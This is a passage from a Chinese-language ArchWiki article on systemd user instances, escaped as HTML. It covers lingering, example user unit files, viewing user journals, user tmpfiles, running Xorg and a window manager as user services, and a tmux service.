&lt;h4 id=&quot;pam-env&quot;&gt;pam_env&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  这种为用户设置环境变量的方法已弃用且将被移除。&lt;&#x2F;p&gt;
&lt;p&gt;环境变量可以通过 &lt;code&gt;pam_env.so&lt;&#x2F;code&gt; 模块来设置。参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;环境变量&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F#%E4%BD%BF%E7%94%A8_pam_env&quot;&gt;环境变量#使用 pam_env&lt;&#x2F;a&gt; 获取配置详情。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sui-xi-tong-zi-dong-qi-dong-systemd-yong-hu-shi-li&quot;&gt;随系统自动启动 systemd 用户实例&lt;&#x2F;h3&gt;
&lt;p&gt;systemd 用户实例在用户首次登录时启动，并在最后一个会话退出时终止。 但有时候，对于一些不依赖于会话的用户进程，在系统启动时加载用户实例，在会话全部结束时，也不停止用户实例是比较有用的。Lingering 就是用来实现这个的。 使用以下命令来启用驻留：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ loginctl enable-linger
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为另一个用户启用驻留：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# loginctl enable-linger username
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  systemd 服务是&lt;strong&gt;没有&lt;&#x2F;strong&gt; 会话的， 它们在 &lt;em&gt;logind&lt;&#x2F;em&gt; 状态之外运行， 所以不要在 lingering 中启用自动登录的功能，这会导致 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;常规故障排除&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4#%E4%BC%9A%E8%AF%9D%E6%9D%83%E9%99%90&quot;&gt;会话中断&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kai-fa-yong-hu-dan-yuan&quot;&gt;开发用户单元&lt;&#x2F;h2&gt;
&lt;p&gt;通用的 systemd unit 文件编写请参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#%E7%BC%96%E5%86%99%E5%8D%95%E5%85%83%E6%96%87%E4%BB%B6&quot;&gt;systemd#编写单元文件&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;li-zi&quot;&gt;例子&lt;&#x2F;h3&gt;
&lt;p&gt;下面是 mpd 服务用户版本的例子:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;mpd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Music Player Daemon

[Service]
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;mpd --no-daemon

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-bian-liang-de-li-zi&quot;&gt;使用变量的例子&lt;&#x2F;h3&gt;
&lt;p&gt;下面是用于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;foldingathome&#x2F;&quot;&gt;foldingathome&lt;&#x2F;a&gt;^AUR^ 的用户服务，将主目录作为变量传入使得 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Folding@home&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Folding@home&quot;&gt;Folding@home&lt;&#x2F;a&gt; 能找到指定文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;foldingathome-user.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Folding@home distributed computing client
After=network.target

[Service]
Type=simple
WorkingDirectory=%h&amp;#x2F;.config&amp;#x2F;fah
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;FAHClient
CPUSchedulingPolicy=idle
IOSchedulingClass=3

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.unit.5&quot;&gt;systemd.unit(5)&lt;&#x2F;a&gt; 的 SPECIFIERS 章节中，详细介绍了各种变量,  &lt;code&gt;%h&lt;&#x2F;code&gt; 指示符将使用运行该服务的用户的主目录替代。更多的变量参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt; 的手册页。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-ri-zhi&quot;&gt;查看日志&lt;&#x2F;h3&gt;
&lt;p&gt;查看用户单元的日志可以用类似命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看指定单元的日志，可以使用以下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user-unit myunit.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user -u myunit.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  UID 小于 1000 的用户的日志不会被 journald 记录，需要的话可以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;blob&#x2F;a33687b792908aa6c9f4c0b22e8935643ee0ddb6&#x2F;src&#x2F;journal&#x2F;journald-server.c#L402&quot;&gt;重定向&lt;&#x2F;a&gt; 所有内容至系统日志。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lin-shi-wen-jian&quot;&gt;临时文件&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;systemd-tmpfiles&lt;&#x2F;em&gt; 可以像管理系统临时文件那样管理用户自定义的临时文件和目录（参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#systemd-tmpfiles_-_%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6&quot;&gt;systemd#systemd-tmpfiles - 临时文件&lt;&#x2F;a&gt;）。用户配置文件以 &lt;code&gt;~&#x2F;.config&#x2F;user-tmpfiles.d&#x2F;&lt;&#x2F;code&gt; 和 &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;user-tmpfiles.d&#x2F;&lt;&#x2F;code&gt; 的顺序读取。为了正常使用本功能，需要为用户启用必要的 systemd 用户单元：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemctl --user enable systemd-tmpfiles-setup.service systemd-tmpfiles-clean.timer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置文件的语法格式和系统级的配置是一样的，详情请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd-tmpfiles.8&quot;&gt;systemd-tmpfiles(8)&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;tmpfiles.d.5&quot;&gt;tmpfiles.d(5)&lt;&#x2F;a&gt; 手册页。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xorg-he-systemd&quot;&gt;Xorg 和 systemd&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&quot;&gt;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&lt;&#x2F;a&gt;&lt;strong&gt;这篇文章的某些内容需要扩充。&lt;&#x2F;strong&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&quot;&gt;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  Cover &lt;code&gt;graphical-session.target&lt;&#x2F;code&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.special.7#Special_Passive_User_Units&quot;&gt;systemd.special(7) § Special Passive User Units&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;goral.net.pl&#x2F;post&#x2F;systemd-x-sessions&#x2F;&quot;&gt;[3]&lt;&#x2F;a&gt;. (在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:Systemd&#x2F;%E7%94%A8%E6%88%B7&quot;&gt;Talk:Systemd&#x2F;用户&lt;&#x2F;a&gt; 中讨论)&lt;&#x2F;p&gt;
&lt;p&gt;使用 systemd 单元来运行 Xorg 有好几种方法，下面介绍其中两种，一种是启动一个新的用户会话，在里面运行 Xorg 服务，另外一种是用 systemd 用户服务启动 Xorg。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mei-you-xian-shi-guan-li-qi-de-qing-kuang-xia-zi-dong-deng-lu-dao-xorg&quot;&gt;没有显示管理器的情况下自动登录到 Xorg&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;systemd-user-session&#x2F;tango-inaccurate-icon.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;strong&gt;本文或本章节的事实准确性存在争议。&lt;&#x2F;strong&gt; &lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;systemd-user-session&#x2F;tango-inaccurate-icon.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  这样设置会导致用户有2条 D-Bus 总线，一条用于桌面，另一条用于 systemd。为什么不共用 systemd 的那一条？（在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:Systemd&#x2F;%E7%94%A8%E6%88%B7&quot;&gt;Talk:Systemd&#x2F;用户&lt;&#x2F;a&gt; 中讨论）&lt;&#x2F;p&gt;
&lt;p&gt;这种方法通过一个系统单元将用户会话带起来，并在用户会话里面启动一个 xorg 服务，并运行 &lt;code&gt;~&#x2F;.xinitrc&lt;&#x2F;code&gt; 将窗口管理器等启动起来。你需要安装好 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;xlogin-git&#x2F;&quot;&gt;xlogin-git&lt;&#x2F;a&gt;^AUR^，并按照 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xinit&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xinit#xinitrc&quot;&gt;Xinit#xinitrc&lt;&#x2F;a&gt; 来设置好你的 xinitrc。&lt;&#x2F;p&gt;
&lt;p&gt;会话会使用它自己的 dbus 守护，而需要用到 &lt;code&gt;dbus.service&lt;&#x2F;code&gt; 的 systemd 工具会自动连接到会话的 dbus 实例上。最后&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Enable&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Enable&quot;&gt;启用&lt;&#x2F;a&gt; &lt;code&gt;xlogin@username&lt;&#x2F;code&gt; 服务来达成开机自动登录。 整个用户会话都在 systemd 的作用域下运行，会话内的一切都能正常工作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jiang-xorg-zuo-wei-systemd-yong-hu-fu-wu&quot;&gt;将 Xorg 作为 systemd 用户服务&lt;&#x2F;h3&gt;
&lt;p&gt;另外一种选择是将 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xorg&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xorg&quot;&gt;xorg&lt;&#x2F;a&gt; 作为一个 systemd 用户服务。这是一种不错的方案，因为其他的 X-related units 可以依赖于 xorg 服务。 但另一方面，这个方案存在某些倒退，这在下面会提到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=xorg-server&quot;&gt;xorg-server&lt;&#x2F;a&gt;^包^ 提供了两种整合到 systemd 的方法:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在无特权模式下运行，设备管理由 logind 代为管理(参考 Hans de Goede 的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;commit&#x2F;82863656ec449644cd34a86388ba40f36cea11e9&quot;&gt;这个提交&lt;&#x2F;a&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;可以实现通过 socket 激活服务 (参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;commit&#x2F;b3d3ffd19937827bcbdb833a628f9b1814a6e189&quot;&gt;这个提交&lt;&#x2F;a&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但非常不幸，xorg 的无特权模式需要在用户会话里面运行。所以，xorg 的用户服务只能在 root 权限下运行(和 1.16 版本之前一样)，而不能使用 1.16 版本提供的无特权模式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  这并不是 logind 强加的限制，而是 xorg 需要知道它将要接管的是哪个会话，而现在它通过调用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freedesktop.org&#x2F;wiki&#x2F;Software&#x2F;systemd&#x2F;logind&quot;&gt;logind&lt;&#x2F;a&gt;&#x27;s &lt;code&gt;GetSessionByPID&lt;&#x2F;code&gt; 来获取这个信息(使用 xorg 自身的 pid 作为参数)。参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.x.org&#x2F;archives&#x2F;xorg-devel&#x2F;2014-February&#x2F;040476.html&quot;&gt;这个话题&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;blob&#x2F;master&#x2F;hw&#x2F;xfree86&#x2F;os-support&#x2F;linux&#x2F;systemd-logind.c&quot;&gt;xorg 源码&lt;&#x2F;a&gt;. 看上去如果 xorg 通过其依附的 tty 来获取会话信息的话，这个问题将得到解决。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  在 xorg 1.18 上 socket 激活存在问题，客户端会触发激活死锁。具体查阅上游报告 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;issues&#x2F;491&quot;&gt;[4]&lt;&#x2F;a&gt;。临时策略是启动一个不带 socket 激活的 xorg 服务器，并在服务器启动一段时间后客户端再连接，确保连接时服务器已经启动。目前来看没有一个可靠机制来判断 X 服务器是否启动完毕。&lt;&#x2F;p&gt;
&lt;p&gt;下面是从用户服务运行 xorg 的步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通过编辑 &lt;code&gt;&#x2F;etc&#x2F;X11&#x2F;Xwrapper.config&lt;&#x2F;code&gt; 文件，允许所有用户使用 root 权限运行 xorg。这是在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xorg&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xorg#Xorg_as_Root&quot;&gt;Xorg#Xorg as Root&lt;&#x2F;a&gt; 的基础上，无需用户在实际控制台上登录，而是将 &lt;code&gt;allowed_user&lt;&#x2F;code&gt; 的默认 &lt;code&gt;console&lt;&#x2F;code&gt; 控制台定义成了 &lt;code&gt;anybody&lt;&#x2F;code&gt;。参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;Xorg.wrap.1&quot;&gt;Xorg.wrap(1)&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;X11&amp;#x2F;Xwrapper.config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;allowed_users=anybody
needs_root_rights=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;把下面 systemd 单元加到 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&lt;&#x2F;code&gt; 目录下：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;xorg@.socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Socket for xorg at display %i

[Socket]
ListenStream=&amp;#x2F;tmp&amp;#x2F;.X11-unix&amp;#x2F;X%i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;xorg@.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Xorg server at display %i

Requires=xorg@%i.socket
After=xorg@%i.socket

[Service]
Type=simple
SuccessExitStatus=0 1

ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;Xorg :%i -nolisten tcp -noreset -verbose 2 &amp;quot;vt${XDG_VTNR}&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里 &lt;code&gt;${XDG_VTNR} &lt;&#x2F;code&gt; 表示 xorg 将要运行的虚拟终端，可以在服务单元文件里面硬编码，也可像下面那样在环境变量里指定：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemctl --user set-environment XDG_VTNR=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  xorg应该在用户登录的虚拟终端上运行，否则 logind 会认为会话没有激活。&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;确保 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; 环境变量已经配置，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#DISPLAY_%E5%92%8C_XAUTHORITY&quot;&gt;这里&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;接下来，执行以下命令，使得 xorg 在 display 0 和 tty 2 上可以通过 socket 激活：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;$ systemctl --user set-environment XDG_VTNR=2     # 这样 xorg@.service 知道该用哪个虚拟终端
$ systemctl --user start xorg@0.socket            # 开始为 display 0 监听 socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，在 tty 2上运行任意的X应用，xorg 都会自动启动。&lt;&#x2F;p&gt;
&lt;p&gt;可以在 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 里面把环境变量 &lt;code&gt;XDG_VTNR&lt;&#x2F;code&gt; 设置到 systemd 环境里面。在这之后，你可以使用 systemd 单元启动任意的X应用，包括窗口管理器。当然，这些 systemd 单元必须依赖于 &lt;code&gt;xorg@0.socket&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  当前，通过用户服务启动窗口管理器意味着它是在会话之外运行的，这将带来以下问题: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;General troubleshooting&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;General_troubleshooting#Session_permissions&quot;&gt;break the session&lt;&#x2F;a&gt;. 但是，systemd 的开发者看上去更倾向于这样(?)。参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mail.gnome.org&#x2F;archives&#x2F;desktop-devel-list&#x2F;2014-January&#x2F;msg00079.html&quot;&gt;[5]&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.freedesktop.org&#x2F;archives&#x2F;systemd-devel&#x2F;2014-March&#x2F;017552.html&quot;&gt;[6]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-yong-li&quot;&gt;一些用例&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;chuang-kou-guan-li-qi&quot;&gt;窗口管理器&lt;&#x2F;h3&gt;
&lt;p&gt;以一个 systemd 服务来运行窗口管理器需要先 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E5%B0%86_Xorg_%E4%BD%9C%E4%B8%BA_systemd_%E7%94%A8%E6%88%B7%E6%9C%8D%E5%8A%A1&quot;&gt;#将 Xorg 作为 systemd 用户服务&lt;&#x2F;a&gt;来运行。下面我们以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Awesome&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Awesome&quot;&gt;awesome&lt;&#x2F;a&gt; 举例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;awesome.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Awesome window manager
After=xorg.target
Requires=xorg.target

[Service]
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;awesome
Restart=always
RestartSec=10

[Install]
WantedBy=wm.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  &lt;code&gt;[Install]&lt;&#x2F;code&gt; 一节包括一个 &lt;code&gt;WantedBy&lt;&#x2F;code&gt; 参数，当使用 &lt;code&gt;systemctl --user enable&lt;&#x2F;code&gt; 时会创建一个本服务的软链接到 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;wm.target.wants&#x2F;window_manager.service&lt;&#x2F;code&gt; 来使它在登录时启动。推荐采用启用服务的方法来代替手动创建软链接。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhong-duan-fu-yong-qi-chi-jiu-hua&quot;&gt;终端复用器持久化&lt;&#x2F;h3&gt;
&lt;p&gt;比起默认登入一个窗口管理器，你可能更想要自动在后台运行一个终端复用器（比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Screen（页面不存在）&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wzh&#x2F;index.php?title=Screen&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;screen&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Tmux&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Tmux&quot;&gt;tmux&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Create&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Create&quot;&gt;创建&lt;&#x2F;a&gt;以下文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;multiplexer.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Terminal multiplexer
Documentation=info:screen man:screen(1) man:tmux(1)
After=cruft.target
Wants=cruft.target

[Install]
Alias=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将用户登录与 X 登录分开，对引导到 TTY 而不是显示管理器的用户是有用的，此时你可以将所有要启动的东西绑定到 &lt;code&gt;mystuff.target&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;依赖项 &lt;code&gt;cruft.target&lt;&#x2F;code&gt; 与上述 &lt;code&gt;mystuff.target&lt;&#x2F;code&gt; 类似，用来在终端复用器启动前启动你需要的服务（或用来启动那些需要开机启动但时序要求不高的服务），比如 GnuPG 守护程序。&lt;&#x2F;p&gt;
&lt;p&gt;现在可以为你的终端复用器创建一个服务了。以下是一个例子，以 tmux 为例且加载了一个 gpg-agent 会话，这个 gpg-agent 会话会将信息写入 &lt;code&gt;&#x2F;tmp&#x2F;gpg-agent-info&lt;&#x2F;code&gt;。这个示例会话在将来启动 X 以后也可以运行 X 程序，因为设置了 &lt;code&gt;$DISPLAY&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;tmux.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=tmux: A terminal multiplexer
Documentation=man:tmux(1)
After=gpg-agent.service
Wants=gpg-agent.service

[Service]
Type=forking
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;tmux start
ExecStop=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;tmux kill-server
Environment=DISPLAY=:0
EnvironmentFile=&amp;#x2F;tmp&amp;#x2F;gpg-agent-info

[Install]
WantedBy=multiplexer.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Enable&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Enable&quot;&gt;Enable&lt;&#x2F;a&gt; &lt;code&gt;tmux.service&lt;&#x2F;code&gt;、&lt;code&gt;multiplexer.target&lt;&#x2F;code&gt; 和由 &lt;code&gt;cruft.target&lt;&#x2F;code&gt; 运行的服务，像往常一样 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Start&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Start&quot;&gt;start&lt;&#x2F;a&gt; &lt;code&gt;user@.service&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-zhu-xiao-hou-jie-shu-yong-hu-jin-cheng&quot;&gt;在注销后结束用户进程&lt;&#x2F;h2&gt;
